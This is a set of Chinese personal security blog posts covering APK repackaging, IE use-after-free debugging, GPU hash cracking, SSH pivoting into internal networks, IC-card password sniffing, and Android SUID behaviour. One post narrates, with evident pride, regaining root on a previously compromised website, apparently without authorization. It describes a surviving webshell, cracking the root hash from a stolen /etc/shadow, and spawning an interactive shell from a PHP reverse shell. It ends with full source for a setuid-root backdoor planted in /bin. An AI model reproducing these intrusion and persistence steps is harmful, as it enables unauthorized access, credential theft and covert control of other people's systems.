二进制格式的AndroidManifest修改

APK重打包后,由于签名不吻合,在包含原程序的手机上是不能覆盖安装的,需要修改包名(packagename)

对于比较简单的APK可以在apktool编译时直接修改AndroidManifest.xml的源文件实现包名篡改,但类似微信这种复杂的程序,想穷尽修改相关的包名就差强人意了。特别是一些包名可能动态生成或在so文件中使用。

行之有效的方法是直接修改重打包APK中包含的二进制格式的AndroidManifest.xml文件。若欲篡改的包名和原始包名长度相同或比原始包名要短时,修改的方法都很容易操作:

  • 解压缩APK
  • 修改包名所在字串,字符串以{长度}{UTF8}{NULL}{NULL}方式存储
  • 重新压缩APK,重新签名即可

但如果有特殊需求,一定要将包名修改为一个比原包名长的名称时(需要修改多个长度字段),必须清楚地理解AndroidManifest.xml的文件格式。虽然格式未公开,但通过一定的逆向分析,已经有比较详细的格式文档供参考了,详见链接

实验时写了一个Python脚本,用于AndroidManifest.xml中包名的替换,代码详见链接

PS:虽然文档中没有提及,但字符数据整体大小需要4字节对齐,我写的代码已经包含了对齐操作

爱,所以Pwn

荧蓝的背景灯,环台撩骚的推女郎,闪烁射光伴着劲爆音节,一双双飘忽迷离的眼神。还好台上抖动的不是曼妙多姿丰胸翘臀,不然现场媒体可就是等着抓拍刑警清查私人会所时的英勇身躯了。

Keen Team 联合 Xcon 处心积虑地选择了1024这个极得很的日子办GeekPwn,比老罗发布会选择520虽话题性小些,却也立意明确,毕竟还不是个大众消费品。中心舞台周围除了性感大长腿,极客爱好者和媒体朋友们啪啪啪的闪光灯外,还有很多智能设备供Funs Play(放肆玩)。

Geek好理解,但Pwn压根就不是个正规单词。国外黑话说入侵占领一个目标,喜欢用Own,比如,I just owned the gov website. Penetration是渗透,也讲的是入侵占领,Penetration说的技术和过程,Own单指结果,所以Penetration和Own结合一下就是Pwn了。

来这里Pwn老罗的Smartisan T1,是个偶然。
偶然的,才更惊喜,唯心论者也常称缘分。

出于道德披露漏洞原则和国内敏感的安全圈惯条,台上我讲得怎么有逻辑和情怀、手机上做的再精致的UI,观众也就只能感受个黑白默剧。精彩的故事绝不是台上一分钟台下十年功,而是锤子科技的事件响应反馈。铺垫有点长,正式入题。

GeekPwn上被Pwn的厂家产品一只手肯定查不过来,但赶到活动现场就锤子一家。四十的软件工程师带着一个年轻的跟班,坐在对面谦恭质朴,就跟每个人中小学时代那个打心眼里钦佩的老教师一样。翻开临摹老乔老罗的keynote去给他们讲漏洞细节时,他们不时的反馈和认可、甚至注意到了这个幻灯片的情怀。也许就像魔术师最擅长当观众一样,老教师也最会当学生。

1025中饭前,彼此表示感谢,起身分别。

1026中饭后,锤子科技已经修复漏洞,发布新版本手机ROM,并在官微表示对活动的支持、选手的感谢。http://weibo.com/1640571365/BtmO7aThP

我以为早习惯了老罗的出牌套路,没想到还是被感动。圈外也许不熟悉,但最重视安全的企业,便如Google,Microsoft,Apple也有一个月的修补周期。而国内的企业听到自己产品有漏洞,则惯常会如360这次的表现,否认、恶言反击。当每天被扇耳光时,哪天人家忘了,你就会喜笑颜开。老罗只是做了一件普通的,每个企业都应该做的分内事儿,仅此而已。
并不是他初来这个圈子,还不够油条,就像他自己写的

永远年轻,永远热泪盈眶。

Linux提权及后门

再回首,云遮断归途,再回首,荆棘密布…

单位的工作环境在penetration方面吸引力远不如学校,可能是限制屏障消失亦或是从事项目于此不相干,所以没了那种幽幽暗暗反反复复中追问的动力。最近被邀去讲讲经验故事,为了让实践环节有的玩耍,所以重操旧业温故知新。还好当年大部分战果都有些许的记录,算是矬子里拔大个找到一个可用对象。

注入点、webshell,后台上传点都还在,md5后的口令也能跑出来,但后门账户已经被咔嚓掉了(在/etc/passwd中加#注释了)。这几近完美却偏偏美中不足让我隐隐作痛。内核升级后,CVE-2010-3847这个当时提权用的漏洞已经不可用。翻遍所有web目录,只剩一个上线。

Linux exploit suggester跑遍了提权代码,未果,得另辟蹊径。

看到资料库中的/etc/shadow,当年鬼使神差留了一份~这个root的散列起始为$1$,采用MD5存储,hashcat里面-m 500可以有效应对。虽然形式是MD5,但跑shadow的速度比一般的散列慢几百倍。站内数个config文件暴露的数据库连接口令都暴露了管理员的口令制定策略(对password单词的变异)。对hashcat的口令规则稍加定制,很快恢复了shadow文件的root口令。不过,只有root口令,没有交互界面(tty),su也无的放矢。这种无交互的尴尬迫使当年一度思考要立项做无交互提权方案研究。天公作美,今天搜到了pentestmonkey冥冥中留给我的密旨:php反弹shell后,再用

python -c 'import pty; pty.spawn("/bin/sh")'

即可取得真正的交互shell,su works like a charm。口令正确,sh-3.2#返回一刹那,寡人激动不已。吸取前车之鉴,这次得留好后门,其实也就是写个setuid(0)的execl放到/bin下面,并加上suid标记,以后依托它执行的”ls /home”等命令都可以root权限执行。程序代码:

#include <unistd.h>
void main(int argc, char *argv[])
{
	setuid(0);
	setgid(0);
	if(argc > 1)
		execl("/bin/sh", "sh", "-c", argv[1], NULL);
	else
		execl("/bin/sh", "sh", NULL);
}

Great lines (持续更新)

WebKit is basically a collection of use-after-frees that somehow manages to render HTML (probably via a buffer overflow in WebGL). — grugq

Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems. — Jamie Zawinski

The quieter you become, the more you are able to hear. — Offensive Security

在Internet上,最远的距离不是中国和美国,而是网通和电信

If you hack, don’t speak

If you speak, don’t write

If you write, don’t sign

If you sign, don’t be surprised

逻辑嗅探 [续]

最近做的工作较两年前而言有了很大的突破,室内的prototype已经摇身一变为切实可用的production了。功能虽然仍然是嗅探接触式IC卡和器具的通信数据以获得卡口令,但设备的便携性和稳定性已有了质的飞越,而且通过配合一个脚本自动解析通信数据包,人工的成分大大减少。原贴 发布于看雪,新进展本应该补充到原文,可故地重游时再也找不到编辑贴子的按钮,进展部分只能在此陈述。

原来的prototype嗅探卡通信时,DATA & RST & CLK & GND 是通过将弱不禁风的导线贴在芯片表面引向到逻辑分析仪。这直接导致了四点弊病,使得每一轮嗅探工作都无比艰难,充满机缘巧合阴差阳错:

  • 贴合的导线在多次插拔卡时易松动,通信数据截取有时缺斤少两
  • 对于每一张做嗅探的卡片都需要一个漫长的准备周期,即,清洗表面,布线,贴合,繁琐的工作恰恰还需要极为细腻的操作,否则瑕可掩瑜
  • 引出的线和逻辑分析仪连接时是通过夹线的小钩子连接,其弹性,紧度(让人浮想联翩)有限,易脱落
  • 好不容易抓取到数据包,仍然需要人工分析。由于不是连续性作业,再次抓到数据时可能已经士别三日,对手册早已刮目相看忘得一干二净。得再花数个小时研读手册,看着凌乱的波形图找寻只言片语中蕴藏的口令

综上,在prototype完成后,除了原文所述玩弄了一下洗衣机外,再没碰过其他器具和卡片。两年间发现了一些新奇的gadget,比如小卡转大卡的转换器(原本用于sim卡转大卡,方便读写数据)、大卡转小卡的转换器,以及小卡转小卡的延长线。这些gadget的组合碰撞的火星照亮了一个解决上述问题的特解。一图胜似万语千言

上图中,绿色的gadget就是大卡转小卡的转换器,它通向了一个小盒子,小盒子内部使用了小卡转小卡的延长线,这条线再次从右边伸出来和黑色的小卡转大卡的转换器进行了插合。现在,直接插卡于左边绿色卡槽,右边的黑色卡就可以作为一张合法的IC卡进行使用了,所有的通信数据会在黑卡和绿槽间涌动。

而嗅探通信数据时要的DATA & RST & CLK & GND可以从盒子里面接洽的位置引出,这次终于下了决心,购买了烙铁焊锡,完成了高难度作业,牢牢地讲引线焊接在引脚处,奠定了整个设备稳定性的基石,如下图所示:

引出的四根线会甩到盒子侧面,整齐排列,并且用502胶紧紧固定,方便逻辑分析仪的抽插,如下图所示:

大功告成了,现在整个设备可插拔,且高度稳定,每次更换绿色卡槽内的卡片即可,随时可以拿起来大风起兮云风扬了。最后的两张图,第一张是整个设备运行状态,第二章图展示的是一个python脚本,可以自动解析逻辑分析仪导出的数据,快速提取卡口令:

 

IE UAF 分析技巧

按照吴石的说法,维护团队的更替导致近期IE漏洞汹涌流出。以往一个IE漏洞提交给Microsoft以后,其维护团队会构造类似的模板对所有类fuzzing一遍,试图挖掘所有此模式的漏洞并修复。由于人员变动,fuzzing工作被搁置了,民间个体抓住机会,依据一个漏洞构造模板找到大量同类漏洞。

手头拿到几个IE 0day要分析,看看是不是有利用的可能。虽然接触听闻很多年,真正深入的分析UAF还算是初出茅庐。调试工具方面,Immunity Debugger还是歇歇吧,微软主场必须Windbg,何况mona也支持它。为了简化配置,以及酷炫背景的需求,下载一个主题是非常有必要的。当然Windbg本身并不支持主题的导入,只能导入注册表文件来达到酷炫黑的目的,详情可参考这里

堆出现的问题,无论是Heap Overflow 还是 Use After Free,开启hpa和ust总是好的:

gflags -i iexplore.exe +hpa +ust

其次,IE的多进程和ASLR也很麻烦,关闭之:

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management]
"MoveImages"=dword:00000000

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
"TabProcGrowth"=dword:00000000

崩溃时(由于分页堆的作用,指针会指向未分配的内存,或者说是已经释放的内存),此时

!heap -p -a address

可以查看该内存对应的堆释放或申请的记录。假设,该内存释放由exeCommand导致,且释放前调用了MSHTML!CTreeNode::Release。为了清晰记录内存的变化,可以增加如下断点:

bu MSHTML!CDocument::execCommand ".printf "execCommand: %mu",poi(esp+8);.echo;g"
bu MSHTML!CTreeNode::Release ".printf "CTreeNode::Release";.echo; bu kernel32!HeapFree ".printf \"Freeblock: 0x%08x\",poi(esp+c);.echo;bc 2;g" ;g"

这样根据输出信息,可以判断目标内存是由哪个execCommand导致的释放,在我手头的几个例子导致了释放和使用都是同一句话,无法利用

折腾是一种病

打从两年前因故重操高中就已很少涉及的装机的旧业后,世界开始变得不再消停。USB live,USB persistent,UltraISO,lili,Unetbootin… 安好系统,装驱动,打补丁,面前的主机如戈麦般倒下,曾经高潮迭起的过程也从惊悚浪漫变得世故油条,直到真正的对手来临…

这一年,不知刷了多少遍android,win7,以及偶然间洞悉mac的UEFI启动玄机,冥冥间还以为已是十步杀一人、千里不留行的侠客,实则桎梏、慵懒的思路早已经吞噬了大半个心野

Alienware M17入手前的几天,频率失衡的心跳似乎就预示着喜悦外的不祥征兆,比眼皮跳来得更没底。15999的价格居然买到了24599的配置,究竟是京东送错了还是想给我个惊喜~ (其实28999的从国外代购也只需要12000而已,但还是觉得捡了便宜)

M17是GTX 780M的显卡,用GPU做hash crack是exploit-db上看到cuda compute起就魂牵梦绕的技术丘陵,掠过去插个旗是一直的心愿。惯性思考和潜意识自大导致刚入手就格了个透彻,直到装好后AlienFX没法调节键盘灯光才捶胸顿足。先前做个驱动备份再重装不是省很多时间吗~何必劳神苦思,代百司之职役哉~

M17周一到,周三开始进入梦魇,每天反复尝试各种驱动和解决方案试图开启AlienFX。另一方面利用SSD的剩余100G开始安装kali,由于全部是3.0的USB口,不能直接安装系统,需要先进入live的系统界面,然后再安装系统

  • level 1 (pass): 进行到grub部分,无论如何都报错,后来才知道是网上文章妖言惑众,正确做法是要在安装过程中网络镜像部分选择yes

为了能开机启动kali,同时不破坏windows,grub需要装在kali所在的分区,而不是mbr,最后切回windows,用Easybcd增加启动项到开机的引导菜单,kali安装完毕

折腾、纠结、抑郁得想寻死的显卡驱动安装部分到了

按照kali官网的教程,显卡并没有如约而至的让oclhashcat工作。每天上班都在查新的可行方法,晚上回家就开始继续重装系统,试行各种显卡驱动解决方案,直到午夜时分,精尽人亡地进入梦乡。

随着时间流逝,最初的热情和自信已经慢慢被模糊的眼前路给消磨尽了。周五进入了GC,完全就是行尸走肉了,只有眼前路没有身后身:见到人不愿意说话,经理给发的样本也不想分析,想找个One and One story类似游戏,竟然自己就开始玩上了,直到下班。好在意外发现AlienFX已经正常,稍微平衡了极度扭曲的心

  • level 2 (bypass):曾想要装个ubuntu什么的,结果发现USB live干脆因为是3.0根本进不去,打算分个小区在硬盘上作为ubuntu的安装盘,结果不慎使得mbr被覆盖了。于是又fork到了解决修复mbr的深渊中,直到下载了包含diskgen的win7pe系统,设置启动盘为在win7分区前100m左右的小分区,才算是恢复了。遂决定还是不折腾ubuntu了,专心kali吧

退而求其次,打算bios里面禁用集成显卡,只保留nvidia让事情简单化,结果发现Alienware的显卡并不支持在bios禁用,是用FN+F5完成显卡切换。终于事情变得有眉目了~简断截说,正确的显卡驱动安装做法如下:

  • UltraISO制作kali的live usb
  • SSD空出来100G给kali
  • 安装kali时候选择安装到剩余的空间,开启网络镜像,grub不装到mbr
  • 进入windows,Easybcd增加引导菜单项目
  • 进入kali,修改/etc/apt/sources.lst文件,把源都替换为mirrors.ustc.edu.cn
  • 使用kali官方文档中的方法禁用nouveau的显卡驱动
  • 从nvidia官网下载驱动,ctrl+alt+f6进入tty6,service gdm3 stop停止x
  • 安装驱动

看看下图的计算对比,aircrack用8个cpu线程计算和cudaHashcat使用gpu计算,~5000和~20000

周六晚上终于消停地看了《等风来》,王灿的人生格言【别瞎折腾,没什么用】。但,折腾不是为了用,是一种病,得治

Android下的dropbear编译

dropbear是ssh的一个实现,包含了客户端和服务端以及相关的配置组件

Android下没有包含/etc/passwd等目录结构,并不能直接使用dropbear建立ssh服务

修改及编译过程如下:

安装交叉编译环境

下载0.52版的dropbear

  • 下载dropbear0.52-android.patch到源码上层目录
  • 切换到dropbear的目录执行:
  • patch < ../dropbear0.52-android.patch

准备编译

./configure --host=arm-none-linux-gnueabi 
--disable-zlib 
--disable-largefile 
--disable-loginfunc 
--disable-shadow 
--disable-utmp 
--disable-utmpx 
--disable-wtmp 
--disable-wtmpx 
--disable-pututline 
--disable-pututxline 
--disable-lastlog 
CC=arm-none-linux-gnueabi-gcc
export STATIC=1 MULTI=0 CC=arm-none-linux-gnueabi-gcc SCPPROGRESS=0 PROGRAMS="dropbear dropbearkey scp dbclient"
make strip

生成的dropbear可以理解为就是sshddbclient就是ssh
建立ssh服务

dropbearkey -t rsa -f /system/etc/dropbear/dropbear_rsa_host_key
dropbearkey -t dss -f /system/etc/dropbear/dropbear_dss_host_key
dropbear -A -N <username> -C <password> -E

SSH内网穿透

故事的始末追溯到2011年,研一末那次ISCC。全队披荆斩棘获得了网关的Shell,但是继续探身进入内网就卡住了。虽然都多少了解一些端口转发的知识,但实际操作似乎又都没经验可谈。Jarett提出用 SSH -D 搭建sock代理,但最后仓促的结果并不佳。赛后总结时,我誓弄清楚SSH端口转发的前因后果。可惜两年光景匆匆呼啸,也没能运筹帷幄出片刻给它

这一周单位其他部门做代理方面的研究,碰巧邀我帮助编译openvpn,dropbear等工具(编译他俩Android下的静态二进制文件可以查看这里),借此机会终于把SSH端口转发玩明白了。关于SSH的端口转发详细讨论可以参考IBM的文章, 另外,端口转发也可以用MSF实现,详细可参考链接

我们拥有一台公网的主机A,以及公司内网环境中完全可控的主机B,目标是通过A可以访问内网中的所有资源。倒不是说端口转发智能用SSH来做,但*inux原生支持的工具显然比其他额外安装的工具来得简洁。A主机可以是任何linux类型的系统,Ubuntu,Backtrack,Kali,whatever you like。B主机可以是桌面的linux也可以是Android等嵌入式的操作系统(如果是Android的话,需要用dbclient和dropbear代替ssh和sshd来完成以下任务,效果完全相同)

实现方案如下(A的ip为A.A.A.A,B的ip为192.168.10.10,所在网段为192.168.10.X):

  • A和B开启sshd服务,侦听22端口
  • B执行 ssh -R 1122:localhost:22 A.A.A.A -p 22
  • 此时A主机本地会因此开放1122端口,连接1122端口等于连接B的22端口,这里假设B连接A的SSHD服务所用的端口为3022,下图虚线框部分就是B和A建立的SSH通道
  • A执行 ssh -g -D 1080 127.0.0.1 -p 1122 

至此,A主机的1080端口已经成为了sock代理的服务端口,可用于访问B所在的内网192.168.10.X。A或任何主机只要将浏览器的sock代理填写为A.A.A.A:1080就可以访问到192.168.10.X了。比如一台主机C通过A访问B的内网(比如C打开192.168.10.11的80端口的Web服务页面),其数据流向如下图所示:

 

Android系统下的SUID标记

Android内核基于linux内核开发,但一些安全访问限制有所不同。

如果是Linux系统,可执行文件设置了suid标记,则该程序运行时可以拥有创建者的euid,比如自己编写的一个idpie程序

$ ls -l /system/bin/idpie
-rwsr-xr-x root	shell	651379 2013-10-30 15:21 idpie

这个程序运行时会显示自己的uid和euid,然后尝试利用setuid,seteuid等提权,再输出提权后的uid和euid

$ idpie
uid:2000,euid:0
uid:0,euid:0

目前来看,Android和Linux的情况相同,但Android系统下如果将这个程序放到/data/local/tmp目录执行,执行结果:

$ /data/local/tmp/idpie
uid:2000,euid:2000

结论是:Android下,suid位并不是程序权限提升的唯一因素,程序所在目录也会限制,虽然没有全面测试,但至少/system/bin目录下的suid标记可以生效,/data/local/tmp目录下则不行

Update:

参考Ron的研究

suid程序不能放在nosuid挂载点的文件夹,否则无法获取相应的权限

$ cat /proc/mounts | grep nosuid 可以获取mount挂载文件夹到底支不支持suid

显然 /data 和 /cache 都不行